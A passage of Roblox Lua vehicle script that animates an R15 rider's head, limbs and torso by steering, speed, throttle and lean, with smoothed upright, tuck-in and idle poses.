script.Parent.Values.SteerT.Value < -0.01 then car.Misc.Anims.R15.Torso.Head.Y.M.CurrentAngle = car.Misc.Anims.R15.Torso.Head.Y.M.CurrentAngle*(1-.1)+math.max(-(math.abs(script.Parent.Values.SteerT.Value)*(car.DriveSeat.Velocity.magnitude/20))+(math.abs(script.Parent.Values.SteerT.Value)*-R15HeadYStart), -R15HeadYFinish)*.1 else car.Misc.Anims.R15.Torso.Head.Y.M.CurrentAngle = car.Misc.Anims.R15.Torso.Head.Y.M.CurrentAngle*(1-.1)+0*.1 end if car.DriveSeat.Velocity.magnitude < TuckInSpeed and car.DriveSeat.Velocity.magnitude > 5 then --upright car.Misc.Anims.R15.RightLeg.Foot.I.M.CurrentAngle = car.Misc.Anims.R15.RightLeg.Foot.I.M.CurrentAngle*(1-.1)+0*.1 ZR15RightLegPointZero = ZR15RightLegPointZero*(1-.1)+0*.1 XR15RightLegPointZero = XR15RightLegPointZero*(1-.1)+0*.1 YR15RightLegPointZero = YR15RightLegPointZero*(1-.1)+0*.1 R15RightKneePointZero = R15RightKneePointZero*(1-.1)+0*.1 ZR15RightArmPointZero = ZR15RightArmPointZero*(1-.1)+0*.1 YR15RightArmPointZero = YR15RightArmPointZero*(1-.1)+0*.1 XR15RightArmPointZero = XR15RightArmPointZero*(1-.1)+0*.1 R15RightElbowPointZero = R15RightElbowPointZero*(1-.1)+0*.1 ZR15LeftLegPointZero = ZR15LeftLegPointZero*(1-.1)+0*.1 XR15LeftLegPointZero = XR15LeftLegPointZero*(1-.1)+0*.1 YR15LeftLegPointZero = YR15LeftLegPointZero*(1-.1)+0*.1 R15LeftKneePointZero = R15LeftKneePointZero*(1-.1)+0*.1 ZR15LeftArmPointZero = ZR15LeftArmPointZero*(1-.1)+0*.1 YR15LeftArmPointZero = YR15LeftArmPointZero*(1-.1)+0*.1 XR15LeftArmPointZero = XR15LeftArmPointZero*(1-.1)+0*.1 R15LeftElbowPointZero = R15LeftElbowPointZero*(1-.1)+0*.1 ZR15LowerTorsoPointZero = ZR15LowerTorsoPointZero*(1-.1)+0*.1 XR15LowerTorsoPointZero = XR15LowerTorsoPointZero*(1-.1)+0*.1 YR15LowerTorsoPointZero = YR15LowerTorsoPointZero*(1-.1)+0*.1 ZR15UpperTorsoPointZero = ZR15UpperTorsoPointZero*(1-.1)+0*.1 elseif car.DriveSeat.Velocity.magnitude >= TuckInSpeed and car.DriveSeat.Velocity.magnitude>5 then --tuck in car.Misc.Anims.R15.RightLeg.Foot.I.M.CurrentAngle = car.Misc.Anims.R15.RightLeg.Foot.I.M.CurrentAngle*(1-.1)+0*.1 ZR15RightLegPointZero = ZR15RightLegPointZero*(1-.1)+(ZR15RightLegTuckIn*script.Parent.Values.Throttle.Value)*.1 XR15RightLegPointZero = XR15RightLegPointZero*(1-.1)+(XR15RightLegTuckIn*script.Parent.Values.Throttle.Value)*.1 YR15RightLegPointZero = YR15RightLegPointZero*(1-.1)+(YR15RightLegTuckIn*script.Parent.Values.Throttle.Value)*.1 R15RightKneePointZero = R15RightKneePointZero*(1-.1)+(R15RightKneeTuckIn*script.Parent.Values.Throttle.Value)*.1 ZR15RightArmPointZero = ZR15RightArmPointZero*(1-.1)+(ZR15RightArmTuckIn*script.Parent.Values.Throttle.Value)*.1 YR15RightArmPointZero = YR15RightArmPointZero*(1-.1)+(YR15RightArmTuckIn*script.Parent.Values.Throttle.Value)*.1 XR15RightArmPointZero = XR15RightArmPointZero*(1-.1)+(XR15RightArmTuckIn*script.Parent.Values.Throttle.Value)*.1 R15RightElbowPointZero = R15RightElbowPointZero*(1-.1)+(R15RightElbowTuckIn*script.Parent.Values.Throttle.Value)*.1 ZR15LeftLegPointZero = ZR15LeftLegPointZero*(1-.1)+(ZR15LeftLegTuckIn*script.Parent.Values.Throttle.Value)*.1 XR15LeftLegPointZero = XR15LeftLegPointZero*(1-.1)+(XR15LeftLegTuckIn*script.Parent.Values.Throttle.Value)*.1 YR15LeftLegPointZero = YR15LeftLegPointZero*(1-.1)+(YR15LeftLegTuckIn*script.Parent.Values.Throttle.Value)*.1 R15LeftKneePointZero = R15LeftKneePointZero*(1-.1)+(R15LeftKneeTuckIn*script.Parent.Values.Throttle.Value)*.1 ZR15LeftArmPointZero = ZR15LeftArmPointZero*(1-.1)+(ZR15LeftArmTuckIn*script.Parent.Values.Throttle.Value)*.1 YR15LeftArmPointZero = YR15LeftArmPointZero*(1-.1)+(YR15LeftArmTuckIn*script.Parent.Values.Throttle.Value)*.1 XR15LeftArmPointZero = XR15LeftArmPointZero*(1-.1)+(XR15LeftArmTuckIn*script.Parent.Values.Throttle.Value)*.1 R15LeftElbowPointZero = R15LeftElbowPointZero*(1-.1)+(R15LeftElbowTuckIn*script.Parent.Values.Throttle.Value)*.1 ZR15LowerTorsoPointZero = ZR15LowerTorsoPointZero*(1-.1)+(ZR15LowerTorsoTuckIn*script.Parent.Values.Throttle.Value)*.1 XR15LowerTorsoPointZero = XR15LowerTorsoPointZero*(1-.1)+(XR15LowerTorsoTuckIn*script.Parent.Values.Throttle.Value)*.1 YR15LowerTorsoPointZero = YR15LowerTorsoPointZero*(1-.1)+(YR15LowerTorsoTuckIn*script.Parent.Values.Throttle.Value)*.1 ZR15UpperTorsoPointZero = ZR15UpperTorsoPointZero*(1-.1)+(ZR15UpperTorsoTuckIn*script.Parent.Values.Throttle.Value)*.1 else --idle car.Misc.Anims.R15.RightLeg.Foot.I.M.CurrentAngle = car.Misc.Anims.R15.RightLeg.Foot.I.M.CurrentAngle*(1-.18)+1*.18 ZR15RightLegPointZero = ZR15RightLegPointZero*(1-.1)+0.6*.1 XR15RightLegPointZero = XR15RightLegPointZero*(1-.18)+-.8*.18 YR15RightLegPointZero = YR15RightLegPointZero*(1-.1)+0.4*.1 R15RightKneePointZero = R15RightKneePointZero*(1-.18)+-1.8*.18 ZR15RightArmPointZero = ZR15RightArmPointZero*(1-.1)+0.25*.1 YR15RightArmPointZero = YR15RightArmPointZero*(1-.1)+0.3*.1 XR15RightArmPointZero = XR15RightArmPointZero*(1-.1)+-0.12*.1 R15RightElbowPointZero = R15RightElbowPointZero*(1-.1)+0.25*.1 ZR15LeftLegPointZero = ZR15LeftLegPointZero*(1-.1)+-.05*.1 XR15LeftLegPointZero = XR15LeftLegPointZero*(1-.1)+0.15*.1 YR15LeftLegPointZero = YR15LeftLegPointZero*(1-.1)+0.5*.1 R15LeftKneePointZero = R15LeftKneePointZero*(1-.1)+.5*.1 ZR15LeftArmPointZero = ZR15LeftArmPointZero*(1-.1)+0*.1 YR15LeftArmPointZero = YR15LeftArmPointZero*(1-.1)+0.4*.1 XR15LeftArmPointZero = XR15LeftArmPointZero*(1-.1)+0.05*.1 R15LeftElbowPointZero = R15LeftElbowPointZero*(1-.1)+0.1*.1 ZR15LowerTorsoPointZero = ZR15LowerTorsoPointZero*(1-.1)+0*.1 XR15LowerTorsoPointZero = XR15LowerTorsoPointZero*(1-.1)+-.25*.1 YR15LowerTorsoPointZero = YR15LowerTorsoPointZero*(1-.1)+0.15*.1 ZR15UpperTorsoPointZero = ZR15UpperTorsoPointZero*(1-.1)+0*.1 end if Lean > 0 then --right lean car.Misc.Anims.R15.RightLeg.Foot.Z.M.CurrentAngle = ((ZR15RightLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15RightLegRightLean*math.abs(Lean))/ZR15RightLegRightLeanD)*ZR15RightLegRightLeanM car.Misc.Anims.R15.RightLeg.Foot.X.M.CurrentAngle = ((XR15RightLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15RightLegRightLean*math.abs(Lean))/XR15RightLegRightLeanD)*XR15RightLegRightLeanM car.Misc.Anims.R15.RightLeg.Foot.Y.M.CurrentAngle = ((YR15RightLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15RightLegRightLean*math.abs(Lean))/YR15RightLegRightLeanD)*YR15RightLegRightLeanM car.Misc.Anims.R15.RightLeg.UpperLeg.X.M.CurrentAngle = ((R15RightKneePointZero*math.max(-((math.abs(Lean)*2)-1),0))+(R15RightKneeRightLean*math.abs(Lean))/R15RightKneeRightLeanD)*R15RightKneeRightLeanM car.Misc.Anims.R15.RightArm.Hand.Z.M.CurrentAngle = ((ZR15RightArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15RightArmRightLean*math.abs(Lean))/ZR15RightArmRightLeanD)*ZR15RightArmRightLeanM car.Misc.Anims.R15.RightArm.Hand.X.M.CurrentAngle = ((XR15RightArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15RightArmRightLean*math.abs(Lean))/XR15RightArmRightLeanD)*XR15RightArmRightLeanM car.Misc.Anims.R15.RightArm.Hand.Y.M.CurrentAngle = ((YR15RightArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15RightArmRightLean*math.abs(Lean))/YR15RightArmRightLeanD)*YR15RightArmRightLeanM car.Misc.Anims.R15.RightArm.UpperArm.X.M.CurrentAngle = ((R15RightElbowPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(R15RightElbowRightLean*math.abs(Lean))/R15RightElbowRightLeanD)*R15RightElbowRightLeanM car.Misc.Anims.R15.LeftLeg.Foot.Z.M.CurrentAngle = ((ZR15LeftLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15LeftLegRightLean*math.abs(Lean))/ZR15LeftLegRightLeanD)*ZR15LeftLegRightLeanM car.Misc.Anims.R15.LeftLeg.Foot.X.M.CurrentAngle = ((XR15LeftLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15LeftLegRightLean*math.abs(Lean))/XR15LeftLegRightLeanD)*XR15LeftLegRightLeanM car.Misc.Anims.R15.LeftLeg.Foot.Y.M.CurrentAngle = ((YR15LeftLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15LeftLegRightLean*math.abs(Lean))/YR15LeftLegRightLeanD)*YR15LeftLegRightLeanM car.Misc.Anims.R15.LeftLeg.UpperLeg.X.M.CurrentAngle = ((R15LeftKneePointZero*math.max(-((math.abs(Lean)*2)-1),0))+(R15LeftKneeRightLean*math.abs(Lean))/R15LeftKneeRightLeanD)*R15LeftKneeRightLeanM car.Misc.Anims.R15.LeftArm.Hand.Z.M.CurrentAngle = ((ZR15LeftArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15LeftArmRightLean*math.abs(Lean))/ZR15LeftArmRightLeanD)*ZR15LeftArmRightLeanM car.Misc.Anims.R15.LeftArm.Hand.X.M.CurrentAngle = ((XR15LeftArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15LeftArmRightLean*math.abs(Lean))/XR15LeftArmRightLeanD)*XR15LeftArmRightLeanM car.Misc.Anims.R15.LeftArm.Hand.Y.M.CurrentAngle = ((YR15LeftArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15LeftArmRightLean*math.abs(Lean))/YR15LeftArmRightLeanD)*YR15LeftArmRightLeanM car.Misc.Anims.R15.LeftArm.UpperArm.X.M.CurrentAngle = ((R15LeftElbowPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(R15LeftElbowRightLean*math.abs(Lean))/R15LeftElbowRightLeanD)*R15LeftElbowRightLeanM car.Misc.Anims.R15.Torso.LowerTorso.Z.M.CurrentAngle = ((ZR15LowerTorsoPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15LowerTorsoRightLean*math.abs(Lean))/ZR15LowerTorsoRightLeanD)*ZR15LowerTorsoRightLeanM car.Misc.Anims.R15.Torso.LowerTorso.X.M.CurrentAngle = ((XR15LowerTorsoPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15LowerTorsoRightLean*math.abs(Lean))/XR15LowerTorsoRightLeanD)*XR15LowerTorsoRightLeanM car.Misc.Anims.R15.Torso.LowerTorso.Y.M.CurrentAngle = ((YR15LowerTorsoPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15LowerTorsoRightLean*math.abs(Lean))/YR15LowerTorsoRightLeanD)*YR15LowerTorsoRightLeanM car.Misc.Anims.R15.Torso.UpperTorso.Z.M.CurrentAngle = ((ZR15UpperTorsoPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15UpperTorsoRightLean*math.abs(Lean))/ZR15UpperTorsoRightLeanD)*ZR15UpperTorsoRightLeanM else --left lean car.Misc.Anims.R15.RightLeg.Foot.Z.M.CurrentAngle = ((ZR15RightLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15RightLegLeftLean*math.abs(Lean))/ZR15RightLegLeftLeanD)*ZR15RightLegLeftLeanM car.Misc.Anims.R15.RightLeg.Foot.X.M.CurrentAngle = ((XR15RightLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15RightLegLeftLean*math.abs(Lean))/XR15RightLegLeftLeanD)*XR15RightLegLeftLeanM car.Misc.Anims.R15.RightLeg.Foot.Y.M.CurrentAngle = ((YR15RightLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15RightLegLeftLean*math.abs(Lean))/YR15RightLegLeftLeanD)*YR15RightLegLeftLeanM car.Misc.Anims.R15.RightLeg.UpperLeg.X.M.CurrentAngle = ((R15RightKneePointZero*math.max(-((math.abs(Lean)*2)-1),0))+(R15RightKneeLeftLean*math.abs(Lean))/R15RightKneeLeftLeanD)*R15RightKneeLeftLeanM car.Misc.Anims.R15.RightArm.Hand.Z.M.CurrentAngle = ((ZR15RightArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15RightArmLeftLean*math.abs(Lean))/ZR15RightArmLeftLeanD)*ZR15RightArmLeftLeanM car.Misc.Anims.R15.RightArm.Hand.X.M.CurrentAngle = ((XR15RightArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15RightArmLeftLean*math.abs(Lean))/XR15RightArmLeftLeanD)*XR15RightArmLeftLeanM car.Misc.Anims.R15.RightArm.Hand.Y.M.CurrentAngle = ((YR15RightArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15RightArmLeftLean*math.abs(Lean))/YR15RightArmLeftLeanD)*YR15RightArmLeftLeanM car.Misc.Anims.R15.RightArm.UpperArm.X.M.CurrentAngle = ((R15RightElbowPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(R15RightElbowLeftLean*math.abs(Lean))/R15RightElbowLeftLeanD)*R15RightElbowLeftLeanM car.Misc.Anims.R15.LeftLeg.Foot.Z.M.CurrentAngle = ((ZR15LeftLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15LeftLegLeftLean*math.abs(Lean))/ZR15LeftLegLeftLeanD)*ZR15LeftLegLeftLeanM car.Misc.Anims.R15.LeftLeg.Foot.X.M.CurrentAngle = ((XR15LeftLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15LeftLegLeftLean*math.abs(Lean))/XR15LeftLegLeftLeanD)*XR15LeftLegLeftLeanM car.Misc.Anims.R15.LeftLeg.Foot.Y.M.CurrentAngle = ((YR15LeftLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15LeftLegLeftLean*math.abs(Lean))/YR15LeftLegLeftLeanD)*YR15LeftLegLeftLeanM car.Misc.Anims.R15.LeftLeg.UpperLeg.X.M.CurrentAngle = ((R15LeftKneePointZero*math.max(-((math.abs(Lean)*2)-1),0))+(R15LeftKneeLeftLean*math.abs(Lean))/R15LeftKneeLeftLeanD)*R15LeftKneeLeftLeanM car.Misc.Anims.R15.LeftArm.Hand.Z.M.CurrentAngle = ((ZR15LeftArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15LeftArmLeftLean*math.abs(Lean))/ZR15LeftArmLeftLeanD)*ZR15LeftArmLeftLeanM car.Misc.Anims.R15.LeftArm.Hand.X.M.CurrentAngle = ((XR15LeftArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15LeftArmLeftLean*math.abs(Lean))/XR15LeftArmLeftLeanD)*XR15LeftArmLeftLeanM car.Misc.Anims.R15.LeftArm.Hand.Y.M.CurrentAngle = ((YR15LeftArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15LeftArmLeftLean*math.abs(Lean))/YR15LeftArmLeftLeanD)*YR15LeftArmLeftLeanM car.Misc.Anims.R15.LeftArm.UpperArm.X.M.CurrentAngle = ((R15LeftElbowPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(R15LeftElbowLeftLean*math.abs(Lean))/R15LeftElbowLeftLeanD)*R15LeftElbowLeftLeanM car.Misc.Anims.R15.Torso.LowerTorso.Z.M.CurrentAngle = ((ZR15LowerTorsoPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15LowerTorsoLeftLean*math.abs(Lean))/ZR15LowerTorsoLeftLeanD)*ZR15LowerTorsoLeftLeanM car.Misc.Anims.R15.Torso.LowerTorso.X.M.CurrentAngle = ((XR15LowerTorsoPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15LowerTorsoLeftLean*math.abs(Lean))/XR15LowerTorsoLeftLeanD)*XR15LowerTorsoLeftLeanM car.Misc.Anims.R15.Torso.LowerTorso.Y.M.CurrentAngle = ((YR15LowerTorsoPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15LowerTorsoLeftLean*math.abs(Lean))/YR15LowerTorsoLeftLeanD)*YR15LowerTorsoLeftLeanM car.Misc.Anims.R15.Torso.UpperTorso.Z.M.CurrentAngle = ((ZR15UpperTorsoPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15UpperTorsoLeftLean*math.abs(Lean))/ZR15UpperTorsoLeftLeanD)*ZR15UpperTorsoLeftLeanM end end end